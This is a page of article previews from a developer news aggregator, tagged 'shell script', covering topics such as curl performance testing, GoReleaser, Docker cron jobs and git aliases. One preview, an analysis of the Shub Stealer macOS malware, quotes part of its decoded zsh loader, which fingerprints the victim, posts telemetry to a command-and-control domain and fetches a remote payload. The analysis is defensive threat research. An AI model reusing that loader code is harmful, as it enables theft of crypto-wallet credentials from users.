# shell script

Published articles for shell script.

This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles.

## Automated Incident Response: Nobody Should Be the Scribe

DevFeed: [Automated Incident Response: Nobody Should Be the Scribe](<https://devfeed.tech/articles/automated-incident-response-nobody-should-be-the-scribe-13368.md>)

Original publisher: [Read original article](<https://www.harness.io/blog/automated-incident-response-nobody-should-be-the-scribe>)

Author: Ryan Taylor

Published: 2026-08-25T00:00:00Z

Content type: opinion

Language: en

Sources: [Harness Blog](<https://devfeed.tech/sources/harness-blog.md>)

Topics: [incident](<https://devfeed.tech/topics/incident.md>), [Incident response](<https://devfeed.tech/topics/incident-response.md>), [Artificial Intelligence](<https://devfeed.tech/topics/ai.md>), [Slack](<https://devfeed.tech/topics/slack.md>), [Python](<https://devfeed.tech/topics/python.md>), [Shell](<https://devfeed.tech/topics/shell.md>)

Tags: [agent](<https://devfeed.tech/tags/agent.md>), [ai](<https://devfeed.tech/tags/ai.md>), [automated-incident-response](<https://devfeed.tech/tags/automated-incident-response.md>), [blog](<https://devfeed.tech/tags/blog.md>), [harness](<https://devfeed.tech/tags/harness.md>), [incident](<https://devfeed.tech/tags/incident.md>), [incident-response](<https://devfeed.tech/tags/incident-response.md>), [jira](<https://devfeed.tech/tags/jira.md>), [product](<https://devfeed.tech/tags/product.md>), [python](<https://devfeed.tech/tags/python.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [slack](<https://devfeed.tech/tags/slack.md>), [teams](<https://devfeed.tech/tags/teams.md>)

### AI overview

A Harness product lead argues that incident teams should not rely on a human scribe. The article describes automated runbooks that create communication channels, video bridges, and tickets, while an AI Scribe Agent captures incident events and produces timelines, postmortems, and synchronized action items.

### Source excerpt

A Harness product lead on why humans shouldn't be the status-tracking layer during incidents, and how automated summaries and postmortems replace the scribe. | Blog

## curl performance

DevFeed: [curl performance](<https://devfeed.tech/articles/curl-performance-18902.md>)

Original publisher: [Read original article](<https://daniel.haxx.se/blog/2026/08/14/curl-performance-2/>)

Author: Daniel Stenberg

Published: 2026-08-14T11:20:32Z

Content type: opinion

Language: en

Sources: [Daniel Stenberg](<https://devfeed.tech/sources/daniel-stenberg.md>)

Topics: [cURL](<https://devfeed.tech/topics/curl.md>), [Performance Testing](<https://devfeed.tech/topics/performance-testing.md>), [Development](<https://devfeed.tech/topics/development.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Git](<https://devfeed.tech/topics/git.md>)

Tags: [curl](<https://devfeed.tech/tags/curl.md>), [curl-and-libcurl](<https://devfeed.tech/tags/curl-and-libcurl.md>), [git](<https://devfeed.tech/tags/git.md>), [performance](<https://devfeed.tech/tags/performance.md>), [performance-testing](<https://devfeed.tech/tags/performance-testing.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [testing](<https://devfeed.tech/tags/testing.md>)

### AI overview

This article describes an initial performance-testing effort for curl. It explains the difficulty of obtaining stable results on shared cloud infrastructure and outlines a local shell script that updates curl from git, builds it, runs tests, and records data and logs.

### Source excerpt

tldr: the live version is here: https://curl.se/perf/ How fast is "fast" and is it good enough? Does it run as fast now as it did before or was there a regression? What exactly needs to be fast? How fast is it? These are questions that many projects and products face, and in curl we are ... Continue reading curl performance ->

## Shub Stealers Fake Crypto Apps

DevFeed: [Shub Stealers Fake Crypto Apps](<https://devfeed.tech/articles/shub-stealers-fake-crypto-apps-22545.md>)

Original publisher: [Read original article](<https://medium.com/walmartglobaltech/shub-stealers-fake-crypto-apps-d5e2a65618b7?source=rss----905ea2b3d4d1---4>)

Author: Jason Reaves

Published: 2026-04-06T17:34:44Z

Content type: article

Language: en

Sources: [Walmart Global Tech](<https://devfeed.tech/sources/walmart-global-tech.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>), [C2](<https://devfeed.tech/topics/c2.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [payload](<https://devfeed.tech/topics/payload.md>), [telemetry](<https://devfeed.tech/topics/telemetry.md>), [API](<https://devfeed.tech/topics/api.md>), [JSON](<https://devfeed.tech/topics/json.md>)

Tags: [c2](<https://devfeed.tech/tags/c2.md>), [code](<https://devfeed.tech/tags/code.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [json](<https://devfeed.tech/tags/json.md>), [macos](<https://devfeed.tech/tags/macos.md>), [malware](<https://devfeed.tech/tags/malware.md>), [payload](<https://devfeed.tech/tags/payload.md>), [reverse-engineering](<https://devfeed.tech/tags/reverse-engineering.md>), [security](<https://devfeed.tech/tags/security.md>), [shell](<https://devfeed.tech/tags/shell.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [telemetry](<https://devfeed.tech/tags/telemetry.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure.

### Source excerpt

By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec </dev/null exec >/dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa

## How to Add "Convert to GIF" to Thunar on Linux (XFCE)

DevFeed: [How to Add "Convert to GIF" to Thunar on Linux (XFCE)](<https://devfeed.tech/articles/how-to-add-convert-to-gif-to-thunar-on-linux-xfce-25163.md>)

Original publisher: [Read original article](<https://www.ivanmorgillo.com/2025/11/12/how-to-add-convert-to-gif-to-thunar-on-linux-xfce/>)

Author: Ivan Morgillo

Published: 2025-11-12T09:05:34Z

Content type: tutorial

Language: en

Sources: [Ivan Morgillo](<https://devfeed.tech/sources/ivan-morgillo.md>)

Topics: [FFmpeg (Fast Forward Moving Picture Experts Group)](<https://devfeed.tech/topics/ffmpeg.md>), [xfce](<https://devfeed.tech/topics/xfce.md>), [Linux](<https://devfeed.tech/topics/linux.md>), [Scripting, bash](<https://devfeed.tech/topics/scripting-bash.md>)

Tags: [custom-action](<https://devfeed.tech/tags/custom-action.md>), [ffmpeg](<https://devfeed.tech/tags/ffmpeg.md>), [gif](<https://devfeed.tech/tags/gif.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [linux](<https://devfeed.tech/tags/linux.md>), [script](<https://devfeed.tech/tags/script.md>), [shell](<https://devfeed.tech/tags/shell.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [thunar](<https://devfeed.tech/tags/thunar.md>), [video](<https://devfeed.tech/tags/video.md>), [xfce](<https://devfeed.tech/tags/xfce.md>)

### AI overview

A tutorial for adding a right-click Convert to GIF action to the Thunar file manager on Linux XFCE. It uses FFmpeg, Zenity, libnotify-bin, and a shell script to convert video files to GIFs.

### Source excerpt

Add a right-click Convert to GIF action to the Thunar file manager on Linux XFCE using FFmpeg and a shell script -- turn any video into a GIF in two clicks.

## Building GoReleaser: from shell script to paid product

DevFeed: [Building GoReleaser: from shell script to paid product](<https://devfeed.tech/articles/building-goreleaser-from-shell-script-to-paid-product-37684.md>)

Original publisher: [Read original article](<https://carlosbecker.com/posts/building-goreleaser/>)

Author: Carlos Alexandro Becker

Published: 2025-07-19T00:00:00Z

Content type: article

Language: en

Sources: [Carlos Becker](<https://devfeed.tech/sources/carlos-becker.md>)

Topics: [Automation](<https://devfeed.tech/topics/automation.md>), [Go Language](<https://devfeed.tech/topics/go-language.md>), [YAML](<https://devfeed.tech/topics/yaml.md>), [GitHub](<https://devfeed.tech/topics/github.md>), [Open Source](<https://devfeed.tech/topics/open-source.md>), [Homebrew](<https://devfeed.tech/topics/homebrew.md>), [API](<https://devfeed.tech/topics/api.md>)

Tags: [api](<https://devfeed.tech/tags/api.md>), [automation](<https://devfeed.tech/tags/automation.md>), [binaries](<https://devfeed.tech/tags/binaries.md>), [building](<https://devfeed.tech/tags/building.md>), [github](<https://devfeed.tech/tags/github.md>), [go](<https://devfeed.tech/tags/go.md>), [homebrew](<https://devfeed.tech/tags/homebrew.md>), [open-source](<https://devfeed.tech/tags/open-source.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>)

### AI overview

The article recounts the history of GoReleaser, a YAML-configured release automation tool that builds binaries, creates archives and packages, publishes releases, pushes installers, and signs artifacts. It describes the tool's evolution from a shell script into a Go project and its early adoption by open-source developers.

### Source excerpt

In this post, I want to share the history behind GoReleaser, how we got here, lessons I've learned along the way, and what's ahead.

## Sphinx + Bazel: the good, the bad, and the ugly

DevFeed: [Sphinx + Bazel: the good, the bad, and the ugly](<https://devfeed.tech/articles/sphinx-bazel-the-good-the-bad-and-the-ugly-31141.md>)

Original publisher: [Read original article](<https://technicalwriting.dev/2025/03/context/index.html>)

Published: 2025-03-25T00:00:00Z

Content type: opinion

Language: en

Sources: [technicalwriting.dev](<https://devfeed.tech/sources/technicalwriting-dev.md>)

Topics: [bazel](<https://devfeed.tech/topics/bazel.md>), [Documentation](<https://devfeed.tech/topics/documentation.md>), [Software Engineering](<https://devfeed.tech/topics/software-engineering.md>), [Development](<https://devfeed.tech/topics/development.md>)

Tags: [bazel](<https://devfeed.tech/tags/bazel.md>), [build-system](<https://devfeed.tech/tags/build-system.md>), [documentation](<https://devfeed.tech/tags/documentation.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [software-engineering](<https://devfeed.tech/tags/software-engineering.md>), [sphinx](<https://devfeed.tech/tags/sphinx.md>)

### AI overview

An experienced technical writer discusses the strengths and weaknesses of managing Sphinx documentation projects with Bazel. The article explains how Bazel can orchestrate Sphinx workflows and describes reported maintenance and development-environment benefits, while helping readers decide whether it fits their project.

### Source excerpt

Strengths and weaknesses of orchestrating Sphinx projects with Bazel.

## Testing only changed Go packages

DevFeed: [Testing only changed Go packages](<https://devfeed.tech/articles/testing-only-changed-go-packages-37735.md>)

Original publisher: [Read original article](<https://carlosbecker.com/posts/go-test-changed/>)

Author: Carlos Alexandro Becker

Published: 2024-12-30T00:00:00Z

Content type: tutorial

Language: en

Sources: [Carlos Becker](<https://devfeed.tech/sources/carlos-becker.md>)

Topics: [Go Language](<https://devfeed.tech/topics/go-language.md>), [Testing](<https://devfeed.tech/topics/testing.md>), [go test](<https://devfeed.tech/topics/go-test.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Caching](<https://devfeed.tech/topics/caching.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>)

Tags: [caching](<https://devfeed.tech/tags/caching.md>), [go](<https://devfeed.tech/tags/go.md>), [go-test](<https://devfeed.tech/tags/go-test.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [testing](<https://devfeed.tech/tags/testing.md>)

### AI overview

A practical shell script tip for running tests only in changed Go packages, with an additional file-watching workflow for rerunning tests when files change. The article explains that this approach can be faster but is less correct than running the full test suite, which should always run in CI.

### Source excerpt

Sometimes, working on big projects, running all tests locally take too much time.

## Signals, shells, and docker: an onion of footguns

DevFeed: [Signals, shells, and docker: an onion of footguns](<https://devfeed.tech/articles/signals-shells-and-docker-an-onion-of-footguns-20130.md>)

Original publisher: [Read original article](<https://benchling.engineering/signals-shells-and-docker-an-onion-of-footguns-ee592e2b587b?source=rss----3d4aa8fb07ea---4>)

Author: raylu

Published: 2024-05-22T16:01:32Z

Content type: article

Language: en

Sources: [Benchling](<https://devfeed.tech/sources/benchling.md>)

Topics: [POSIX](<https://devfeed.tech/topics/posix.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Processes](<https://devfeed.tech/topics/processes.md>), [Docker](<https://devfeed.tech/topics/docker.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [docker](<https://devfeed.tech/tags/docker.md>), [linux](<https://devfeed.tech/tags/linux.md>), [logs](<https://devfeed.tech/tags/logs.md>), [pipeline](<https://devfeed.tech/tags/pipeline.md>), [pull-request](<https://devfeed.tech/tags/pull-request.md>), [pytest](<https://devfeed.tech/tags/pytest.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [testing](<https://devfeed.tech/tags/testing.md>)

### AI overview

This article investigates surprising POSIX signal behavior across shells and containers in Benchling's CI test pipeline. It explains how canceled test runs stopped forwarding logs while pytest continued running, then examines signal propagation through zsh, bash, and child processes.

### Source excerpt

On a few occasions, we've needed to debug POSIX signals (SIGINT, SIGTERM, etc.). Inevitably, there's a shell involved too. One day, we were debugging some weird interaction between signals, shells, and containers and found ourselves bamboozled by some behaviors. People who consider themselves knowledgeable about Linux have found some of the details of our investigation surprising, so read on if this sort of thing doesn't make you want to defenestrate your laptop and become an alpaca-farming hermit. The scene of the crime At Benchling, we have a pretty standard testing/continuous integration (CI) setup: when you push code to a pull request branch, we run tests for you. A few years back, we added a little optimization: if you push again and tests are still running on the previous commit, we cancel the previous test run. You probably don't care about that run anyway and we save some money... or do we? The code that runs our tests is basically def test_pipeline() -> int: test_result = subprocess.run(["pytest", ...]) report_test_metrics() upload_artifacts() return test_result.returncode So our process tree is test_pipeline └──pytest subprocess.run blocks until the child process exits, so it should take almost all the time. We see in our CI logs that the tests get interrupted halfway through and then we see no more logs, so it sure looks like it's working. But we're able to get metrics and artifacts for our canceled runs, which makes no sense. We'll later discover that while we reported that the run was canceled and stopped forwarding logs, pytest just kept running. Back to basics Thinking that perhaps the problem was not forwarding a signal from test_pipeline to pytest, we thought about basic signal handling first. In a terminal running zsh, we can get the pid of zsh with $ echo $$ 20147 Then, we can run bash inside zsh and sleep infinity (like our tests, a very slow command) inside bash. $ bash $ sleep infinity From another shell, we can see the process tree. $ pstree -p 20

## Simplify & replace git-number with git aliases

DevFeed: [Simplify & replace git-number with git aliases](<https://devfeed.tech/articles/simplify-replace-git-number-with-git-aliases-25251.md>)

Original publisher: [Read original article](<https://kau.sh/blog/git-alias/>)

Author: Kaushik Gopal

Published: 2024-01-27T20:00:00Z

Content type: tutorial

Language: en

Sources: [Kaushik Gopal's Site](<https://devfeed.tech/sources/kaushik-gopal-s-site.md>)

Topics: [Git](<https://devfeed.tech/topics/git.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Unix](<https://devfeed.tech/topics/unix.md>)

Tags: [command-line](<https://devfeed.tech/tags/command-line.md>), [git](<https://devfeed.tech/tags/git.md>), [programming](<https://devfeed.tech/tags/programming.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [unix](<https://devfeed.tech/tags/unix.md>)

### AI overview

This tutorial explains how to replace the Perl-based git-number utility with Git aliases and Unix shell commands. It demonstrates selecting files by their order in git status, adding aliases to .gitconfig, and extending the approach to several file-selection use cases.

### Source excerpt

I wrote a blog post about git-number and how useful it was for my command line git usage. In an on-going effort to simplify my lifestyle & setup, I replaced git-number with a few git aliases. I'll explain how I recreated the functionality in this blog post. Why replace it? ## Looking at git-number's source I realize it is written in Perl. I'm not here to cast judgement on another programming language but reading the code, it felt like overkill for my use cases. It also meant I could eliminate one additional 3rd party library that I have to install every time. Let's go ahead and recreate it with some good old unix command line fu. Building git add <number> # To git add the first file, I have to manually type the entire path git add 0.collapse-categories-into.... This is tedious and error-prone. If your file is nested in a series of directories (like an Android or iOS app), it becomes worse. With git-number, this is as simple as git-number add 1 # where 1 stands for the order # in which a file shows up in git status Let's recreate that with a git alias. # in your .gitconfig file [alias] a = !"a() { <UNIX COMMAND GOES HERE> ; }; a" The key now is to come up with a unix command that will take in a number and pluck that file for you. Here's a simple version of that command: You can now make it a git alias by adding it to your .gitconfig file: # .gitconfig [alias] a = !"a() { git add $(git status --porcelain | cut -b4- | sed -n \"$1p;$1q\"); }; a" You can systematically recreate all of the git-number functionality in pure git aliases! Bonus tweaks # Over time, I've tweaked the above command to a behemoth shell command that accounts for a variety of use cases: g a - git add all files g a . - git add all files g a 2-3 - git add second and third file g a 3-5 - git add second to fifth file Here's what my actual alias is, in all its glory: # .gitconfig [alias] a = "!f() { \ if [[ $# -eq 0 || \"$1\" == \".\" ]]; then \ git add .; \ else \ files_to_add=(); \ for arg in $(seq $(g

## Tootbot for Mastodon

DevFeed: [Tootbot for Mastodon](<https://devfeed.tech/articles/tootbot-for-mastodon-25350.md>)

Original publisher: [Read original article](<https://kau.sh/blog/toot-bot-post-mastodon-automatically-kotlin-script/>)

Author: Kaushik Gopal

Published: 2023-02-04T03:00:00Z

Content type: tutorial

Language: en

Sources: [Kaushik Gopal's Site](<https://devfeed.tech/sources/kaushik-gopal-s-site.md>)

Topics: [Mastodon](<https://devfeed.tech/topics/mastodon.md>), [Kotlin](<https://devfeed.tech/topics/kotlin.md>), [Script](<https://devfeed.tech/topics/script.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [CSV](<https://devfeed.tech/topics/csv.md>), [JSON](<https://devfeed.tech/topics/json.md>), [Homebrew](<https://devfeed.tech/topics/homebrew.md>), [Mac Mini](<https://devfeed.tech/topics/mac-mini.md>)

Tags: [blog](<https://devfeed.tech/tags/blog.md>), [github](<https://devfeed.tech/tags/github.md>), [install](<https://devfeed.tech/tags/install.md>), [json](<https://devfeed.tech/tags/json.md>), [kotlin](<https://devfeed.tech/tags/kotlin.md>), [local](<https://devfeed.tech/tags/local.md>), [mac-mini](<https://devfeed.tech/tags/mac-mini.md>), [script](<https://devfeed.tech/tags/script.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>)

### AI overview

A Kotlin shell script running on a Mac Mini uses a cron job to announce new blog posts on Mastodon. It downloads the blog's JSON feed, checks for new posts, compares them with a local CSV record of previous toots, and publishes announcements. The article also gives Homebrew installation and execution commands.

### Source excerpt

Every time I create a new post in this blog I like to toot or tweet about it. Instead of manually doing this, I have my Mac Mini run a little shell script on a cron job, that does this automatically for me. You can download the source for this script over at github. The way it works is pretty simple: Download my latest blog feed as a json file. Check for any new blog posts. Compares with a local CSV file that records previous toots. Posts new toots to Mastodon1 Running the script is trivially easy (and it's all in Kotlin) so it's easy to follow the logic. All you need to do to run this script is: brew install kotlin kotlin tootbot.main.kts That's it! Just remember to update the variables at the top of the file. Not doing Twitter for obvious reasons. ↩︎

## Writing your own Nix Flake checks

DevFeed: [Writing your own Nix Flake checks](<https://devfeed.tech/articles/writing-your-own-nix-flake-checks-38561.md>)

Original publisher: [Read original article](<https://msfjarvis.dev/posts/writing-your-own-nix-flake-checks/>)

Author: Harsh Shandilya

Published: 2022-12-18T06:30:00Z

Content type: tutorial

Language: en

Sources: [Posts on Harsh Shandilya](<https://devfeed.tech/sources/posts-on-harsh-shandilya.md>)

Topics: [Nix](<https://devfeed.tech/topics/nix.md>), [Shell](<https://devfeed.tech/topics/shell.md>)

Tags: [flake-checks](<https://devfeed.tech/tags/flake-checks.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [lint](<https://devfeed.tech/tags/lint.md>), [nix](<https://devfeed.tech/tags/nix.md>), [nix-flakes](<https://devfeed.tech/tags/nix-flakes.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>)

### AI overview

A practical guide to writing custom checks for Nix flakes. It explains how to define checks as derivations, run formatters and linters, satisfy Nix's output requirement, and reduce build overhead with a smaller stdenv.

### Source excerpt

Quick how-to for writing ad-hoc checks for your own Nix Flakes

## Deploying PHP 8.0 applications with Azure App Service

DevFeed: [Deploying PHP 8.0 applications with Azure App Service](<https://devfeed.tech/articles/deploying-php-8-0-applications-with-azure-app-service-29332.md>)

Original publisher: [Read original article](<https://www.schakko.de/2021/09/08/deploying-php-8-0-applications-with-azure-app-service/>)

Author: Schakko

Published: 2021-09-08T11:45:14Z

Content type: tutorial

Language: en

Sources: [Schakko](<https://devfeed.tech/sources/schakko.md>)

Topics: [Azure](<https://devfeed.tech/topics/azure.md>), [PHP](<https://devfeed.tech/topics/php.md>), [nginx](<https://devfeed.tech/topics/nginx.md>), [Deployment](<https://devfeed.tech/topics/deployment.md>), [Laravel](<https://devfeed.tech/topics/laravel.md>), [Docker Image](<https://devfeed.tech/topics/docker-image.md>), [Docker Container](<https://devfeed.tech/topics/docker-container.md>)

Tags: [azure](<https://devfeed.tech/tags/azure.md>), [ci-cd](<https://devfeed.tech/tags/ci-cd.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [deployment](<https://devfeed.tech/tags/deployment.md>), [docker-container](<https://devfeed.tech/tags/docker-container.md>), [docker-image](<https://devfeed.tech/tags/docker-image.md>), [laravel](<https://devfeed.tech/tags/laravel.md>), [mod-rewrite](<https://devfeed.tech/tags/mod-rewrite.md>), [nginx](<https://devfeed.tech/tags/nginx.md>), [php](<https://devfeed.tech/tags/php.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [startup](<https://devfeed.tech/tags/startup.md>)

### AI overview

This tutorial explains how to run PHP 8.0 applications on Azure App Service after the runtime stack changed from Apache to nginx. It describes updating the nginx configuration inside the underlying Docker image, including the use of a startup command or script for Laravel applications because .htaccess and Kudu deployment customization are insufficient.

### Source excerpt

To be able to run PHP applications on Azure App Services which are using PHP 8.0 features, the Runtime Stack has to be changed. With the newer Runtime Stack, you also have to update the nginx.conf of the underlying Docker image. This article describes how you can achieve that. 2023-03-28: [...] The post Deploying PHP 8.0 applications with Azure App Service appeared first on schakko.de.

## Using a Cron Job to Run Rake Tasks Inside Your Docker Container

DevFeed: [Using a Cron Job to Run Rake Tasks Inside Your Docker Container](<https://devfeed.tech/articles/using-a-cron-job-to-run-rake-tasks-inside-your-docker-container-28157.md>)

Original publisher: [Read original article](<http://fuzzyblog.io/blog/docker/2019/11/29/using-a-cron-job-to-run-rake-tasks-inside-your-docker-container.html>)

Author: Fuzzygroup

Published: 2019-11-29T00:00:00Z

Content type: tutorial

Language: en

Sources: [Scott Johnson](<https://devfeed.tech/sources/scott-johnson.md>)

Topics: [Docker](<https://devfeed.tech/topics/docker.md>), [container](<https://devfeed.tech/topics/container.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Job](<https://devfeed.tech/topics/job.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [container](<https://devfeed.tech/tags/container.md>), [docker](<https://devfeed.tech/tags/docker.md>), [job](<https://devfeed.tech/tags/job.md>), [rails](<https://devfeed.tech/tags/rails.md>), [rake](<https://devfeed.tech/tags/rake.md>), [run](<https://devfeed.tech/tags/run.md>), [scheduling](<https://devfeed.tech/tags/scheduling.md>), [shell](<https://devfeed.tech/tags/shell.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>)

### AI overview

This tutorial explains how to use an OS-level cron job to run a Rake task inside a Docker container. It shows how to execute a shell in the container, run the task with Docker, and use a shell script to obtain the container hash dynamically because the hash changes when the container restarts.

### Source excerpt

Despite cron being an age old *nix technology, it alway seems like scheduling tasks is an annoying thing. Note: Cron is the standard *nix technology for running tasks on a recurring basis like "every monday at 5 am execute this program". We are now doing things like running tasks within containers and that raises the question of where does cron exist: within the container? at the OS level? what about multiple instances of the container across different machines? I'm not going to try and address the bigger picture questions here like multiple instances but I can show you how to use cron at the OS level to drive a rake task within a container. How Do You Run Something Within in a Container The first thing to understand is that you can easily execute a shell with in a container, from the outside, with this syntax: docker exec -it CONTAINER_HASH /bin/bash The CONTAINER_HASH is the docker equivalent of a *nix pid (process identifier). How to Run a Rake Task And if you can run a shell like /bin/bash within a container from the outside then, drum roll please, you can easily run anything from outside including a Rake task. And if you have that then you can easily schedule it. Here's an example: docker exec -it 8d76da4ab481 bundle exec rake data_source:update_or_initial_load --trace The 8d76da4ab481, shown above, is an example of the CONTAINER_HASH. But Docker Container Hashes Change... If you think about this a bit there is one real problem - that damn CONTAINER_HASH isn't consistent. It changes every time the container is restarted. The trick to making a cron job that runs your rake task is to use a shell script which pulls the container hash dynamically. And to figure that you we are going to start with my dockerbash blog post. Here's the shell script from the dockerbash post: #!/bin/bash if [ -z $1 ]; then echo "You need to specify the name of the container you want to get into like:" echo "dockerbash police" else pid=`docker ps | grep $1 | awk '{print $1}'` docker exec -i

## Scheduled Data Processing: How to use cron?

DevFeed: [Scheduled Data Processing: How to use cron?](<https://devfeed.tech/articles/scheduled-data-processing-how-to-use-cron-34608.md>)

Original publisher: [Read original article](<https://tapoueh.org/blog/2018/08/scheduled-data-processing-how-to-use-cron/>)

Author: Dimitri Fontaine PostgreSQL Major Contributor; Author

Published: 2018-08-01T09:24:25Z

Content type: tutorial

Language: en

Sources: [Dimitri Fontaine](<https://devfeed.tech/sources/dimitri-fontaine.md>)

Topics: [data-processing](<https://devfeed.tech/topics/data-processing.md>), [Job](<https://devfeed.tech/topics/job.md>), [business logic](<https://devfeed.tech/topics/business-logic.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Unix](<https://devfeed.tech/topics/unix.md>)

Tags: [business-logic](<https://devfeed.tech/tags/business-logic.md>), [data-processing](<https://devfeed.tech/tags/data-processing.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [job](<https://devfeed.tech/tags/job.md>), [scheduled](<https://devfeed.tech/tags/scheduled.md>), [shell](<https://devfeed.tech/tags/shell.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>)

### AI overview

This tutorial explains how to schedule business-oriented data processing that is not triggered by user activity. It introduces cron and crontab on Unix systems as a way to run commands at specified times, including recurring schedules.

### Source excerpt

A previous article in the PostgreSQL Concurrency series covered how to manage concurrent retweets in an efficient way: in Computing and Caching, we learnt how to maintain a cache right in your PostgreSQL database, using MATERIALIZED VIEWS. We also had a look at how to take care of Batch Updates and Concurrency. While in the first case we are providing a solution to a technical problem where we want to solve performance issues while keeping the same semantics, in the second case we are actually implementing a part of the application's Business Logic as a scheduled job. Today's article shows a modern technique to handle the scheduling of those business oriented activities that are not tied to any user activity. When thinking about it this way, you certainly don't want to implement the backbone of your business logic in a shell script that's directly maintained in the production environment, do you?

## Friday Q&A 2018-06-29: Debugging with C-Reduce

DevFeed: [Friday Q&A 2018-06-29: Debugging with C-Reduce](<https://devfeed.tech/articles/friday-q-a-2018-06-29-debugging-with-c-reduce-30628.md>)

Original publisher: [Read original article](<http://www.mikeash.com/pyblog/friday-qa-2018-06-29-debugging-with-c-reduce.html>)

Author: Mike Ash

Published: 2018-06-29T13:35:00Z

Content type: tutorial

Language: en

Sources: [Mike Ash](<https://devfeed.tech/sources/mike-ash.md>)

Topics: [debugging](<https://devfeed.tech/topics/debugging.md>), [C](<https://devfeed.tech/topics/c.md>), [test](<https://devfeed.tech/topics/test.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Code](<https://devfeed.tech/topics/code.md>)

Tags: [c](<https://devfeed.tech/tags/c.md>), [code](<https://devfeed.tech/tags/code.md>), [debugging](<https://devfeed.tech/tags/debugging.md>), [dependencies](<https://devfeed.tech/tags/dependencies.md>), [dockerignore-usage](<https://devfeed.tech/tags/dockerignore-usage.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [test](<https://devfeed.tech/tags/test.md>), [transformation](<https://devfeed.tech/tags/transformation.md>)

### AI overview

This tutorial explains how C-Reduce automatically shrinks programs into reduced test cases. It covers reduction passes, scriptable interestingness tests, installation, and a simple C example for isolating a compiler warning or bug.

### Source excerpt

Debugging a complex problem is tough, and it can be especially difficult when it's not obvious which chunk of code is responsible. It's common to attempt to produce a reduced test case in order to narrow it down. It's tedious to do this manually, but it's also the sort of thing computers are really good at. C-Reduce is a program which automatically takes programs and pares them down to produce a reduced test case. Let's take a look at how to use it. (Read More)

## One-off shell script execution in BBEdit

DevFeed: [One-off shell script execution in BBEdit](<https://devfeed.tech/articles/one-off-shell-script-execution-in-bbedit-35131.md>)

Original publisher: [Read original article](<http://www.practicallyefficient.com/2017/06/14/shell-scripts-in-bbedit.html>)

Author: Eddie Smith

Published: 2017-06-14T00:00:00Z

Content type: tutorial

Language: en

Sources: [Eddie Smith](<https://devfeed.tech/sources/eddie-smith.md>)

